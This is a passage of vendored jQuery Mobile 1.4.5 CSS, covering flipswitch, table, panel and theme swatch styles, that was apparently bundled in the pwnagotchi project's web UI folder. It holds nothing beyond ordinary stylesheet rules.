.ui-flipswitch.ui-flipswitch-active { padding-left: 4em; /* Override this and width in previous rule if you use labels other than "on/off" and need more space */ width: 1.875em; } .ui-flipswitch-input { position: absolute; height: 1px; width: 1px; margin: -1px; overflow: hidden; clip: rect(1px,1px,1px,1px); border: 0; outline: 0; filter: Alpha(Opacity=0); opacity: 0; } .ui-flipswitch .ui-btn.ui-flipswitch-on, .ui-flipswitch .ui-flipswitch-off { float: left; height: 1.75em; margin: .0625em; line-height: 1.65em; } .ui-flipswitch .ui-btn.ui-flipswitch-on { width: 1.75em; padding: 0; text-indent: -2.6em; /* Override this to center text if you use a label other than "on" */ text-align: left; border-width: 1px; border-style: solid; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; border-radius: inherit; overflow: visible; color: inherit; text-shadow: inherit; } .ui-flipswitch .ui-flipswitch-off { padding: 1px; text-indent: 1em; /* Override this to center text if you use a label other than "off" */ } /* Override field container CSS to prevent the flipswitch from becomming full width */ html .ui-field-contain > label + .ui-flipswitch, html .ui-popup .ui-field-contain > label + .ui-flipswitch { display: inline-block; width: 5.875em; /* If you override the width for .ui-flipswitch you should repeat the same value here */ -webkit-box-sizing: content-box; -moz-box-sizing: content-box; box-sizing: content-box; } .ui-field-contain .ui-flipswitch.ui-flipswitch-active, .ui-popup .ui-field-contain .ui-flipswitch.ui-flipswitch-active { width: 1.875em; } .ui-table { border: 0; border-collapse: collapse; padding: 0; width: 100%; } .ui-table th, .ui-table td { line-height: 1.5em; text-align: left; padding: .4em .5em; vertical-align:top; } .ui-table th .ui-btn, .ui-table td .ui-btn { line-height: normal; } .ui-table th { font-weight: bold; } .ui-table caption { text-align: left; margin-bottom: 1.4em; opacity: .5; } /* Styles for the table columntoggle mode */ .ui-table-columntoggle-btn { float: right; margin-bottom: .8em; } /* Remove top/bottom margins around the fieldcontain on check list */ .ui-table-columntoggle-popup fieldset { margin:0; } .ui-table-columntoggle { clear: both; } /* Hide all prioritized columns by default */ @media only all { th.ui-table-priority-6, td.ui-table-priority-6, th.ui-table-priority-5, td.ui-table-priority-5, th.ui-table-priority-4, td.ui-table-priority-4, th.ui-table-priority-3, td.ui-table-priority-3, th.ui-table-priority-2, td.ui-table-priority-2, th.ui-table-priority-1, td.ui-table-priority-1 { display: none; } } /* Preset breakpoints if ".ui-responsive" class added to table */ /* Show priority 1 at 320px (20em x 16px) */ @media screen and (min-width: 20em) { .ui-table-columntoggle.ui-responsive th.ui-table-priority-1, .ui-table-columntoggle.ui-responsive td.ui-table-priority-1 { display: table-cell; } } /* Show priority 2 at 480px (30em x 16px) */ @media screen and (min-width: 30em) { .ui-table-columntoggle.ui-responsive th.ui-table-priority-2, .ui-table-columntoggle.ui-responsive td.ui-table-priority-2 { display: table-cell; } } /* Show priority 3 at 640px (40em x 16px) */ @media screen and (min-width: 40em) { .ui-table-columntoggle.ui-responsive th.ui-table-priority-3, .ui-table-columntoggle.ui-responsive td.ui-table-priority-3 { display: table-cell; } } /* Show priority 4 at 800px (50em x 16px) */ @media screen and (min-width: 50em) { .ui-table-columntoggle.ui-responsive th.ui-table-priority-4, .ui-table-columntoggle.ui-responsive td.ui-table-priority-4 { display: table-cell; } } /* Show priority 5 at 960px (60em x 16px) */ @media screen and (min-width: 60em) { .ui-table-columntoggle.ui-responsive th.ui-table-priority-5, .ui-table-columntoggle.ui-responsive td.ui-table-priority-5 { display: table-cell; } } /* Show priority 6 at 1,120px (70em x 16px) */ @media screen and (min-width: 70em) { .ui-table-columntoggle.ui-responsive th.ui-table-priority-6, .ui-table-columntoggle.ui-responsive td.ui-table-priority-6 { display: table-cell; } } /* Unchecked manually: Always hide */ .ui-table-columntoggle th.ui-table-cell-hidden, .ui-table-columntoggle td.ui-table-cell-hidden, .ui-table-columntoggle.ui-responsive th.ui-table-cell-hidden, .ui-table-columntoggle.ui-responsive td.ui-table-cell-hidden { display: none; } /* Checked manually: Always show */ .ui-table-columntoggle th.ui-table-cell-visible, .ui-table-columntoggle td.ui-table-cell-visible, .ui-table-columntoggle.ui-responsive th.ui-table-cell-visible, .ui-table-columntoggle.ui-responsive td.ui-table-cell-visible { display: table-cell; } /* Styles for the table columntoggle mode */ .ui-table-reflow td .ui-table-cell-label, .ui-table-reflow th .ui-table-cell-label { display: none; } /* Mobile first styles: Begin with the stacked presentation at narrow widths */ @media only all { /* Hide the table headers */ .ui-table-reflow thead td, .ui-table-reflow thead th { display: none; } /* Show the table cells as a block level element */ .ui-table-reflow td, .ui-table-reflow th { text-align: left; display: block; } /* Add a fair amount of top margin to visually separate each row when stacked */ .ui-table-reflow tbody th { margin-top: 3em; } /* Make the label elements a percentage width */ .ui-table-reflow td .ui-table-cell-label, .ui-table-reflow th .ui-table-cell-label { padding: .4em; min-width: 30%; display: inline-block; margin: -.4em 1em -.4em -.4em; } /* For grouped headers, have a different style to visually separate the levels by classing the first label in each col group */ .ui-table-reflow th .ui-table-cell-label-top, .ui-table-reflow td .ui-table-cell-label-top { display: block; padding: .4em 0; margin: .4em 0; text-transform: uppercase; font-size: .9em; font-weight: normal; } } /* Breakpoint to show as a standard table at 560px (35em x 16px) or wider */ @media ( min-width: 35em ) { /* Show the table header rows */ .ui-table-reflow.ui-responsive td, .ui-table-reflow.ui-responsive th, .ui-table-reflow.ui-responsive tbody th, .ui-table-reflow.ui-responsive tbody td, .ui-table-reflow.ui-responsive thead td, .ui-table-reflow.ui-responsive thead th { display: table-cell; margin: 0; } /* Hide the labels in each cell */ .ui-table-reflow.ui-responsive td .ui-table-cell-label, .ui-table-reflow.ui-responsive th .ui-table-cell-label { display: none; } } /* Hack to make IE9 and WP7.5 treat cells like block level elements, scoped to ui-responsive class */ /* Applied in a max-width media query up to the table layout breakpoint so we don't need to negate this*/ @media ( max-width: 35em ) { .ui-table-reflow.ui-responsive td, .ui-table-reflow.ui-responsive th { width: 100%; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; float: left; clear: left; } } /* Panel */ .ui-panel { width: 17em; min-height: 100%; max-height: none; border-width: 0; position: absolute; top: 0; display: block; } .ui-panel-closed { width: 0; max-height: 100%; overflow: hidden; visibility: hidden; left: 0; clip: rect(1px,1px,1px,1px); } .ui-panel-fixed { position: fixed; bottom: -1px; /* Fixes gap on Chrome for Android */ padding-bottom: 1px; } .ui-panel-display-reveal { z-index: 1; } .ui-panel-display-push { z-index: 999; } .ui-panel-display-overlay { z-index: 1001; /* Fixed toolbars have z-index 1000 */ } .ui-panel-inner { padding: 1em; } /* Container, page and wrapper */ .ui-panel-page-container { overflow-x: visible; } .ui-panel-page-container-themed .ui-page-active { background: none; } .ui-panel-wrapper { position: relative; min-height: inherit; border: 0; overflow-x: hidden; z-index: 999; } /* Fixed toolbars */ .ui-panel-fixed-toolbar { overflow-x: hidden; } /* Dismiss */ .ui-panel-dismiss { position: absolute; top: 0; left: 0; right: 0; height: 100%; z-index: 1002; display: none; } .ui-panel-dismiss-open { display: block; } /* Animate class is added to panel, wrapper and fixed toolbars */ .ui-panel-animate { -webkit-transition: -webkit-transform 300ms ease; -webkit-transition-duration: 300ms; -moz-transition: -moz-transform 300ms ease; transition: transform 300ms ease; } /* Fix for Windows Phone issue #6349: unset the transition for transforms in case of fixed toolbars. */ @media screen and ( max-device-width: 768px ) { .ui-page-header-fixed .ui-panel-animate.ui-panel-wrapper, .ui-page-footer-fixed .ui-panel-animate.ui-panel-wrapper, .ui-panel-animate.ui-panel-fixed-toolbar { -ms-transition: none; } /* We need a transitionend event ... */ .ui-panel-animate.ui-panel-fixed-toolbar { -ms-transition: -ms-transform 1ms; -ms-transform: rotate(0deg); } } /* Hardware acceleration for smoother transitions on WebKit browsers */ .ui-panel-animate.ui-panel:not(.ui-panel-display-reveal) { -webkit-backface-visibility: hidden; -webkit-transform: translate3d(0,0,0); } /* Panel positioning (for overlay and push) */ /* Panel left closed */ .ui-panel-position-left { left: -17em; } /* Panel left closed animated */ .ui-panel-animate.ui-panel-position-left.ui-panel-display-overlay, .ui-panel-animate.ui-panel-position-left.ui-panel-display-push { left: 0; -webkit-transform: translate3d(-17em,0,0); -moz-transform: translate3d(-17em,0,0); transform: translate3d(-17em,0,0); } /* Panel left open */ .ui-panel-position-left.ui-panel-display-reveal, /* Unset "panel left closed" for reveal */ .ui-panel-open.ui-panel-position-left { left: 0; } /* Panel left open animated */ .ui-panel-animate.ui-panel-open.ui-panel-position-left.ui-panel-display-overlay, .ui-panel-animate.ui-panel-open.ui-panel-position-left.ui-panel-display-push { -webkit-transform: translate3d(0,0,0); transform: translate3d(0,0,0); -moz-transform: none; } /* Panel right closed */ .ui-panel-position-right { right: -17em; } /* Panel right closed animated */ .ui-panel-animate.ui-panel-position-right.ui-panel-display-overlay, .ui-panel-animate.ui-panel-position-right.ui-panel-display-push { right: 0; -webkit-transform: translate3d(17em,0,0); -moz-transform: translate3d(17em,0,0); transform: translate3d(17em,0,0); } /* Panel right open */ .ui-panel-position-right.ui-panel-display-reveal, /* Unset "panel right closed" for reveal */ .ui-panel-position-right.ui-panel-open { right: 0; } /* Panel right open animated */ .ui-panel-animate.ui-panel-open.ui-panel-position-right.ui-panel-display-overlay, .ui-panel-animate.ui-panel-open.ui-panel-position-right.ui-panel-display-push { -webkit-transform: translate3d(0,0,0); transform: translate3d(0,0,0); -moz-transform: none; } /* Wrapper and fixed toolbars positioning (for reveal and push) */ /* Panel left open */ .ui-panel-page-content-position-left { left: 17em; right: -17em; } /* Panel left open animated */ .ui-panel-animate.ui-panel-page-content-position-left { left: 0; right: 0; -webkit-transform: translate3d(17em,0,0); -moz-transform: translate3d(17em,0,0); transform: translate3d(17em,0,0); } /* Panel right open */ .ui-panel-page-content-position-right { left: -17em; right: 17em; } /* Panel right open animated */ .ui-panel-animate.ui-panel-page-content-position-right { left: 0; right: 0; -webkit-transform: translate3d(-17em,0,0); -moz-transform: translate3d(-17em,0,0); transform: translate3d(-17em,0,0); } /* Dismiss model open */ .ui-panel-dismiss-open.ui-panel-dismiss-position-left { left: 17em; } .ui-panel-dismiss-open.ui-panel-dismiss-position-right { right: 17em; } /* Shadows and borders */ .ui-panel-display-reveal { -webkit-box-shadow: inset -5px 0 5px rgba(0,0,0,.15); -moz-box-shadow: inset -5px 0 5px rgba(0,0,0,.15); box-shadow: inset -5px 0 5px rgba(0,0,0,.15); } .ui-panel-position-right.ui-panel-display-reveal { -webkit-box-shadow: inset 5px 0 5px rgba(0,0,0,.15); -moz-box-shadow: inset 5px 0 5px rgba(0,0,0,.15); box-shadow: inset 5px 0 5px rgba(0,0,0,.15); } .ui-panel-display-overlay { -webkit-box-shadow: 5px 0 5px rgba(0,0,0,.15); -moz-box-shadow: 5px 0 5px rgba(0,0,0,.15); box-shadow: 5px 0 5px rgba(0,0,0,.15); } .ui-panel-position-right.ui-panel-display-overlay { -webkit-box-shadow: -5px 0 5px rgba(0,0,0,.15); -moz-box-shadow: -5px 0 5px rgba(0,0,0,.15); box-shadow: -5px 0 5px rgba(0,0,0,.15); } .ui-panel-open.ui-panel-position-left.ui-panel-display-push { border-right-width: 1px; margin-right: -1px; } .ui-panel-page-content-position-left.ui-panel-page-content-display-push { margin-left: 1px; width: auto; } .ui-panel-open.ui-panel-position-right.ui-panel-display-push { border-left-width: 1px; margin-left: -1px; } .ui-panel-page-content-position-right.ui-panel-page-content-display-push { margin-right: 1px; width: auto; } /* Responsive: wrap on wide viewports once open */ @media (min-width:55em) { .ui-responsive-panel .ui-panel-page-content-open.ui-panel-page-content-position-left { margin-right: 17em; } .ui-responsive-panel .ui-panel-page-content-open.ui-panel-page-content-position-right { margin-left: 17em; } .ui-responsive-panel .ui-panel-page-content-open { width: auto; } .ui-responsive-panel .ui-panel-dismiss-display-push, .ui-responsive-panel.ui-page-active ~ .ui-panel-dismiss-display-push { display: none; } } .ui-tabs { position: relative;/* position: relative prevents IE scroll bug (element with position: relative inside container with overflow: auto appear as "fixed") */ padding: .2em; } ================================================ FILE: pwnagotchi/ui/web/static/js/jquery.mobile/jquery.mobile.theme-1.4.5.css ================================================ /*! * jQuery Mobile 1.4.5 * Git HEAD hash: 68e55e78b292634d3991c795f06f5e37a512decc <> Date: Fri Oct 31 2014 17:33:30 UTC * http://jquerymobile.com * * Copyright 2010, 2014 jQuery Foundation, Inc. and othercontributors * Released under the MIT license. * http://jquery.org/license * */ /* Globals */ /* Font -----------------------------------------------------------------------------------------------------------*/ html { font-size: 100%; } body, input, select, textarea, button, .ui-btn { font-size: 1em; line-height: 1.3; font-family: sans-serif /*{global-font-family}*/; } legend, .ui-input-text input, .ui-input-search input { color: inherit; text-shadow: inherit; } /* Form labels (overrides font-weight bold in bars, and mini font-size) */ .ui-mobile label, div.ui-controlgroup-label { font-weight: normal; font-size: 16px; } /* Separators -----------------------------------------------------------------------------------------------------------*/ /* Field contain separator (< 28em) */ .ui-field-contain { border-bottom-color: #828282; border-bottom-color: rgba(0,0,0,.15); border-bottom-width: 1px; border-bottom-style: solid; } /* Table opt-in classes: strokes between each row, and alternating row stripes */ /* Classes table-stroke and table-stripe are deprecated in 1.4. */ .table-stroke thead th, .table-stripe thead th, .table-stripe tbody tr:last-child { border-bottom: 1px solid #d6d6d6; /* non-RGBA fallback */ border-bottom: 1px solid rgba(0,0,0,.1); } .table-stroke tbody th, .table-stroke tbody td { border-bottom: 1px solid #e6e6e6; /* non-RGBA fallback */ border-bottom: 1px solid rgba(0,0,0,.05); } .table-stripe.table-stroke tbody tr:last-child th, .table-stripe.table-stroke tbody tr:last-child td { border-bottom: 0; } .table-stripe tbody tr:nth-child(odd) td, .table-stripe tbody tr:nth-child(odd) th { background-color: #eeeeee; /* non-RGBA fallback */ background-color: rgba(0,0,0,.04); } /* Buttons -----------------------------------------------------------------------------------------------------------*/ .ui-btn, label.ui-btn { font-weight: bold; border-width: 1px; border-style: solid; } .ui-btn { text-decoration: none !important; } .ui-btn-active { cursor: pointer; } /* Corner rounding -----------------------------------------------------------------------------------------------------------*/ /* Class ui-btn-corner-all deprecated in 1.4 */ .ui-corner-all { -webkit-border-radius: .3125em /*{global-radii-blocks}*/; border-radius: .3125em /*{global-radii-blocks}*/; } /* Buttons */ .ui-btn-corner-all, .ui-btn.ui-corner-all, /* Slider track */ .ui-slider-track.ui-corner-all, /* Flipswitch */ .ui-flipswitch.ui-corner-all, /* Count bubble */ .ui-li-count { -webkit-border-radius: .3125em /*{global-radii-buttons}*/; border-radius: .3125em /*{global-radii-buttons}*/; } /* Icon-only buttons */ .ui-btn-icon-notext.ui-btn-corner-all, .ui-btn-icon-notext.ui-corner-all { -webkit-border-radius: 1em; border-radius: 1em; } /* Radius clip workaround for cleaning up corner trapping */ .ui-btn-corner-all, .ui-corner-all { -webkit-background-clip: padding; background-clip: padding-box; } /* Popup arrow */ .ui-popup.ui-corner-all > .ui-popup-arrow-guide { left: .6em /*{global-radii-blocks}*/; right: .6em /*{global-radii-blocks}*/; top: .6em /*{global-radii-blocks}*/; bottom: .6em /*{global-radii-blocks}*/; } /* Shadow -----------------------------------------------------------------------------------------------------------*/ .ui-shadow { -webkit-box-shadow: 0 1px 3px /*{global-box-shadow-size}*/ rgba(0,0,0,.15) /*{global-box-shadow-color}*/; -moz-box-shadow: 0 1px 3px /*{global-box-shadow-size}*/ rgba(0,0,0,.15) /*{global-box-shadow-color}*/; box-shadow: 0 1px 3px /*{global-box-shadow-size}*/ rgba(0,0,0,.15) /*{global-box-shadow-color}*/; } .ui-shadow-inset { -webkit-box-shadow: inset 0 1px 3px /*{global-box-shadow-size}*/ rgba(0,0,0,.2) /*{global-box-shadow-color}*/; -moz-box-shadow: inset 0 1px 3px /*{global-box-shadow-size}*/ rgba(0,0,0,.2) /*{global-box-shadow-color}*/; box-shadow: inset 0 1px 3px /*{global-box-shadow-size}*/ rgba(0,0,0,.2) /*{global-box-shadow-color}*/; } .ui-overlay-shadow { -webkit-box-shadow: 0 0 12px rgba(0,0,0,.6); -moz-box-shadow: 0 0 12px rgba(0,0,0,.6); box-shadow: 0 0 12px rgba(0,0,0,.6); } /* Icons -----------------------------------------------------------------------------------------------------------*/ .ui-btn-icon-left:after, .ui-btn-icon-right:after, .ui-btn-icon-top:after, .ui-btn-icon-bottom:after, .ui-btn-icon-notext:after { background-color: #666 /*{global-icon-color}*/; background-color: rgba(0,0,0,.3) /*{global-icon-disc}*/; background-position: center center; background-repeat: no-repeat; -webkit-border-radius: 1em; border-radius: 1em; } /* Alt icons */ .ui-alt-icon.ui-btn:after, .ui-alt-icon .ui-btn:after, html .ui-alt-icon.ui-checkbox-off:after, html .ui-alt-icon.ui-radio-off:after, html .ui-alt-icon .ui-checkbox-off:after, html .ui-alt-icon .ui-radio-off:after { background-color: #666 /*{global-icon-color}*/; background-color: rgba(0,0,0,.15) /*{global-icon-disc}*/; } /* No disc */ .ui-nodisc-icon.ui-btn:after, .ui-nodisc-icon .ui-btn:after { background-color: transparent; } /* Icon shadow */ .ui-shadow-icon.ui-btn:after, .ui-shadow-icon .ui-btn:after { -webkit-box-shadow: 0 1px 0 rgba(255,255,255,.3) /*{global-icon-shadow}*/; -moz-box-shadow: 0 1px 0 rgba(255,255,255,.3) /*{global-icon-shadow}*/; box-shadow: 0 1px 0 rgba(255,255,255,.3) /*{global-icon-shadow}*/; } /* Checkbox and radio */ .ui-btn.ui-checkbox-off:after, .ui-btn.ui-checkbox-on:after, .ui-btn.ui-radio-off:after, .ui-btn.ui-radio-on:after { display: block; width: 18px; height: 18px; margin: -9px 2px 0 2px; } .ui-checkbox-off:after, .ui-btn.ui-radio-off:after { filter: Alpha(Opacity=30); opacity: .3; } .ui-btn.ui-checkbox-off:after, .ui-btn.ui-checkbox-on:after { -webkit-border-radius: .1875em; border-radius: .1875em; } .ui-btn.ui-checkbox-off:after { background-color: #666; background-color: rgba(0,0,0,.3); } .ui-radio .ui-btn.ui-radio-on:after { background-image: none; background-color: #fff; width: 8px; height: 8px; border-width: 5px; border-style: solid; } .ui-alt-icon.ui-btn.ui-radio-on:after, .ui-alt-icon .ui-btn.ui-radio-on:after { background-color: #000; } /* Loader */ .ui-icon-loading { background: url("images/ajax-loader.gif"); background-size: 2.875em 2.875em; } /* Swatches */ /* A -----------------------------------------------------------------------------------------------------------*/ /* Bar: Toolbars, dividers, slider track */ .ui-bar-a, .ui-page-theme-a .ui-bar-inherit, html .ui-bar-a .ui-bar-inherit, html .ui-body-a .ui-bar-inherit, html body .ui-group-theme-a .ui-bar-inherit { background-color: #e9e9e9 /*{a-bar-background-color}*/; border-color: #ddd /*{a-bar-border}*/; color: #333 /*{a-bar-color}*/; text-shadow: 0 /*{a-bar-shadow-x}*/ 1px /*{a-bar-shadow-y}*/ 0 /*{a-bar-shadow-radius}*/ #eee /*{a-bar-shadow-color}*/; font-weight: bold; } .ui-bar-a { border-width: 1px; border-style: solid; } /* Page and overlay */ .ui-overlay-a, .ui-page-theme-a, .ui-page-theme-a .ui-panel-wrapper { background-color: #f9f9f9 /*{a-page-background-color}*/; border-color: #bbb /*{a-page-border}*/; color: #333 /*{a-page-color}*/; text-shadow: 0 /*{a-page-shadow-x}*/ 1px /*{a-page-shadow-y}*/ 0 /*{a-page-shadow-radius}*/ #f3f3f3 /*{a-page-shadow-color}*/; } /* Body: Read-only lists, text inputs, collapsible content */ .ui-body-a, .ui-page-theme-a .ui-body-inherit, html .ui-bar-a .ui-body-inherit, html .ui-body-a .ui-body-inherit, html body .ui-group-theme-a .ui-body-inherit, html .ui-panel-page-container-a { background-color: #fff /*{a-body-background-color}*/; border-color: #ddd /*{a-body-border}*/; color: #333 /*{a-body-color}*/; text-shadow: 0 /*{a-body-shadow-x}*/ 1px /*{a-body-shadow-y}*/ 0 /*{a-body-shadow-radius}*/ #f3f3f3 /*{a-body-shadow-color}*/; } .ui-body-a { border-width: 1px; border-style: solid; } /* Links */ .ui-page-theme-a a, html .ui-bar-a a, html .ui-body-a a, html body .ui-group-theme-a a { color: #3388cc /*{a-link-color}*/; font-weight: bold; } .ui-page-theme-a a:visited, html .ui-bar-a a:visited, html .ui-body-a a:visited, html body .ui-group-theme-a a:visited { color: #3388cc /*{a-link-visited}*/; } .ui-page-theme-a a:hover, html .ui-bar-a a:hover, html .ui-body-a a:hover, html body .ui-group-theme-a a:hover { color: #005599 /*{a-link-hover}*/; } .ui-page-theme-a a:active, html .ui-bar-a a:active, html .ui-body-a a:active, html body .ui-group-theme-a a:active { color: #005599 /*{a-link-active}*/; } /* Button up */ .ui-page-theme-a .ui-btn, html .ui-bar-a .ui-btn, html .ui-body-a .ui-btn, html body .ui-group-theme-a .ui-btn, html head + body .ui-btn.ui-btn-a, /* Button visited */ .ui-page-theme-a .ui-btn:visited, html .ui-bar-a .ui-btn:visited, html .ui-body-a .ui-btn:visited, html body .ui-group-theme-a .ui-btn:visited, html head + body .ui-btn.ui-btn-a:visited { background-color: #f6f6f6 /*{a-bup-background-color}*/; border-color: #ddd /*{a-bup-border}*/; color: #333 /*{a-bup-color}*/; text-shadow: 0 /*{a-bup-shadow-x}*/ 1px /*{a-bup-shadow-y}*/ 0 /*{a-bup-shadow-radius}*/ #f3f3f3 /*{a-bup-shadow-color}*/; } /* Button hover */ .ui-page-theme-a .ui-btn:hover, html .ui-bar-a .ui-btn:hover, html .ui-body-a .ui-btn:hover, html body .ui-group-theme-a .ui-btn:hover, html head + body .ui-btn.ui-btn-a:hover { background-color: #ededed /*{a-bhover-background-color}*/; border-color: #ddd /*{a-bhover-border}*/; color: #333 /*{a-bhover-color}*/; text-shadow: 0 /*{a-bhover-shadow-x}*/ 1px /*{a-bhover-shadow-y}*/ 0 /*{a-bhover-shadow-radius}*/ #f3f3f3 /*{a-bhover-shadow-color}*/; } /* Button down */ .ui-page-theme-a .ui-btn:active, html .ui-bar-a .ui-btn:active, html .ui-body-a .ui-btn:active, html body .ui-group-theme-a .ui-btn:active, html head + body .ui-btn.ui-btn-a:active { background-color: #e8e8e8 /*{a-bdown-background-color}*/; border-color: #ddd /*{a-bdown-border}*/; color: #333 /*{a-bdown-color}*/; text-shadow: 0 /*{a-bdown-shadow-x}*/ 1px /*{a-bdown-shadow-y}*/ 0 /*{a-bdown-shadow-radius}*/ #f3f3f3 /*{a-bdown-shadow-color}*/; } /* Active button */ .ui-page-theme-a .ui-btn.ui-btn-active, html .ui-bar-a .ui-btn.ui-btn-active, html .ui-body-a .ui-btn.ui-btn-active, html body .ui-group-theme-a .ui-btn.ui-btn-active, html head + body .ui-btn.ui-btn-a.ui-btn-active, /* Active checkbox icon */ .ui-page-theme-a .ui-checkbox-on:after, html .ui-bar-a .ui-checkbox-on:after, html .ui-body-a .ui-checkbox-on:after, html body .ui-group-theme-a .ui-checkbox-on:after, .ui-btn.ui-checkbox-on.ui-btn-a:after, /* Active flipswitch background */ .ui-page-theme-a .ui-flipswitch-active, html .ui-bar-a .ui-flipswitch-active, html .ui-body-a .ui-flipswitch-active, html body .ui-group-theme-a .ui-flipswitch-active, html body .ui-flipswitch.ui-bar-a.ui-flipswitch-active, /* Active slider track */ .ui-page-theme-a .ui-slider-track .ui-btn-active, html .ui-bar-a .ui-slider-track .ui-btn-active, html .ui-body-a .ui-slider-track .ui-btn-active, html body .ui-group-theme-a .ui-slider-track .ui-btn-active, html body div.ui-slider-track.ui-body-a .ui-btn-active { background-color: #3388cc /*{a-active-background-color}*/; border-color: #3388cc /*{a-active-border}*/; color: #fff /*{a-active-color}*/; text-shadow: 0 /*{a-active-shadow-x}*/ 1px /*{a-active-shadow-y}*/ 0 /*{a-active-shadow-radius}*/ #005599 /*{a-active-shadow-color}*/; } /* Active radio button icon */ .ui-page-theme-a .ui-radio-on:after, html .ui-bar-a .ui-radio-on:after, html .ui-body-a .ui-radio-on:after, html body .ui-group-theme-a .ui-radio-on:after, .ui-btn.ui-radio-on.ui-btn-a:after { border-color: #3388cc /*{a-active-background-color}*/; } /* Focus */ .ui-page-theme-a .ui-btn:focus, html .ui-bar-a .ui-btn:focus, html .ui-body-a .ui-btn:focus, html body .ui-group-theme-a .ui-btn:focus, html head + body .ui-btn.ui-btn-a:focus, /* Focus buttons and text inputs with div wrap */ .ui-page-theme-a .ui-focus, html .ui-bar-a .ui-focus, html .ui-body-a .ui-focus, html body .ui-group-theme-a .ui-focus, html head + body .ui-btn-a.ui-focus, html head + body .ui-body-a.ui-focus { -webkit-box-shadow: 0 0 12px #3388cc /*{a-active-background-color}*/; -moz-box-shadow: 0 0 12px #3388cc /*{a-active-background-color}*/; box-shadow: 0 0 12px #3388cc /*{a-active-background-color}*/; } /* B -----------------------------------------------------------------------------------------------------------*/ /* Bar: Toolbars, dividers, slider track */ .ui-bar-b, .ui-page-theme-b .ui-bar-inherit, html .ui-bar-b .ui-bar-inherit, html .ui-body-b .ui-bar-inherit, html body .ui-group-theme-b .ui-bar-inherit { background-color: #1d1d1d /*{b-bar-background-color}*/; border-color: #1b1b1b /*{b-bar-border}*/; color: #fff /*{b-bar-color}*/; text-shadow: 0 /*{b-bar-shadow-x}*/ 1px /*{b-bar-shadow-y}*/ 0 /*{b-bar-shadow-radius}*/ #111 /*{b-bar-shadow-color}*/; font-weight: bold; } .ui-bar-b { border-width: 1px; border-style: solid; } /* Page and overlay */ .ui-overlay-b, .ui-page-theme-b, .ui-page-theme-b .ui-panel-wrapper { background-color: #252525 /*{b-page-background-color}*/; border-color: #454545 /*{b-page-border}*/; color: #fff /*{b-page-color}*/; text-shadow: 0 /*{b-page-shadow-x}*/ 1px /*{b-page-shadow-y}*/ 0 /*{b-page-shadow-radius}*/ #111 /*{b-page-shadow-color}*/; } /* Body: Read-only lists, text inputs, collapsible content */ .ui-body-b, .ui-page-theme-b .ui-body-inherit, html .ui-bar-b .ui-body-inherit, html .ui-body-b .ui-body-inherit, html body .ui-group-theme-b .ui-body-inherit, html .ui-panel-page-container-b { background-color: #2a2a2a /*{b-body-background-color}*/; border-color: #1d1d1d /*{b-body-border}*/; color: #fff /*{b-body-color}*/; text-shadow: 0 /*{b-body-shadow-x}*/ 1px /*{b-body-shadow-y}*/ 0 /*{b-body-shadow-radius}*/ #111 /*{b-body-shadow-color}*/; } .ui-body-b { border-width: 1px; border-style: solid; } /* Links */ .ui-page-theme-b a, html .ui-bar-b a, html .ui-body-b a, html body .ui-group-theme-b a { color: #22aadd /*{b-link-color}*/; font-weight: bold; } .ui-page-theme-b a:visited, html .ui-bar-b a:visited, html .ui-body-b a:visited, html body .ui-group-theme-b a:visited { color: #22aadd /*{b-link-visited}*/; } .ui-page-theme-b a:hover, html .ui-bar-b a:hover, html .ui-body-b a:hover, html body .ui-group-theme-b a:hover { color: #0088bb /*{b-link-hover}*/; } .ui-page-theme-b a:active, html .ui-bar-b a:active, html .ui-body-b a:active, html body .ui-group-theme-b a:active { color: #0088bb /*{b-link-active}*/; } /* Button up */ .ui-page-theme-b .ui-btn, html .ui-bar-b .ui-btn, html .ui-body-b .ui-btn, html body .ui-group-theme-b .ui-btn, html head + body .ui-btn.ui-btn-b, /* Button visited */ .ui-page-theme-b .ui-btn:visited, html .ui-bar-b .ui-btn:visited, html .ui-body-b .ui-btn:visited, html body .ui-group-theme-b .ui-btn:visited, html head + body .ui-btn.ui-btn-b:visited { background-color: #333 /*{b-bup-background-color}*/; border-color: #1f1f1f /*{b-bup-border}*/; color: #fff /*{b-bup-color}*/; text-shadow: 0 /*{b-bup-shadow-x}*/ 1px /*{b-bup-shadow-y}*/ 0 /*{b-bup-shadow-radius}*/ #111 /*{b-bup-shadow-color}*/; } /* Button hover */ .ui-page-theme-b .ui-btn:hover, html .ui-bar-b .ui-btn:hover, html .ui-body-b .ui-btn:hover, html body .ui-group-theme-b .ui-btn:hover, html head + body .ui-btn.ui-btn-b:hover { background-color: #373737 /*{b-bhover-background-color}*/; border-color: #1f1f1f /*{b-bhover-border}*/; color: #fff /*{b-bhover-color}*/; text-shadow: 0 /*{b-bhover-shadow-x}*/ 1px /*{b-bhover-shadow-y}*/ 0 /*{b-bhover-shadow-radius}*/ #111 /*{b-bhover-shadow-color}*/; } /* Button down */ .ui-page-theme-b .ui-btn:active, html .ui-bar-b .ui-btn:active, html .ui-body-b .ui-btn:active, html body .ui-group-theme-b .ui-btn:active, html head + body .ui-btn.ui-btn-b:active { background-color: #404040 /*{b-bdown-background-color}*/; border-color: #1f1f1f /*{b-bdown-border}*/; color: #fff /*{b-bdown-color}*/; text-shadow: 0 /*{b-bdown-shadow-x}*/ 1px /*{b-bdown-shadow-y}*/ 0 /*{b-bdown-shadow-radius}*/ #111 /*{b-bdown-shadow-color}*/; } /* Active button */ .ui-page-theme-b .ui-btn.ui-btn-active, html .ui-bar-b .ui-btn.ui-btn-active, html .ui-body-b .ui-btn.ui-btn-active, html body .ui-group-theme-b .ui-btn.ui-btn-active, html head + body .ui-btn.ui-btn-b.ui-btn-active, /* Active checkbox icon */ .ui-page-theme-b .ui-checkbox-on:after, html .ui-bar-b .ui-checkbox-on:after, html .ui-body-b .ui-checkbox-on:after, html body .ui-group-theme-b .ui-checkbox-on:after, .ui-btn.ui-checkbox-on.ui-btn-b:after, /* Active flipswitch background */ .ui-page-theme-b .ui-flipswitch-active, html .ui-bar-b .ui-flipswitch-active, html .ui-body-b .ui-flipswitch-active, html body .ui-group-theme-b .ui-flipswitch-active, html body .ui-flipswitch.ui-bar-b.ui-flipswitch-active, /* Active slider track */ .ui-page-theme-b .ui-slider-track .ui-btn-active, html .ui-bar-b .ui-slider-track .ui-btn-active, html .ui-body-b .ui-slider-track .ui-btn-active, html body .ui-group-theme-b .ui-slider-track .ui-btn-active, html body div.ui-slider-track.ui-body-b .ui-btn-active { background-color: #22aadd /*{b-active-background-color}*/; border-color: #22aadd /*{b-active-border}*/; color: #fff 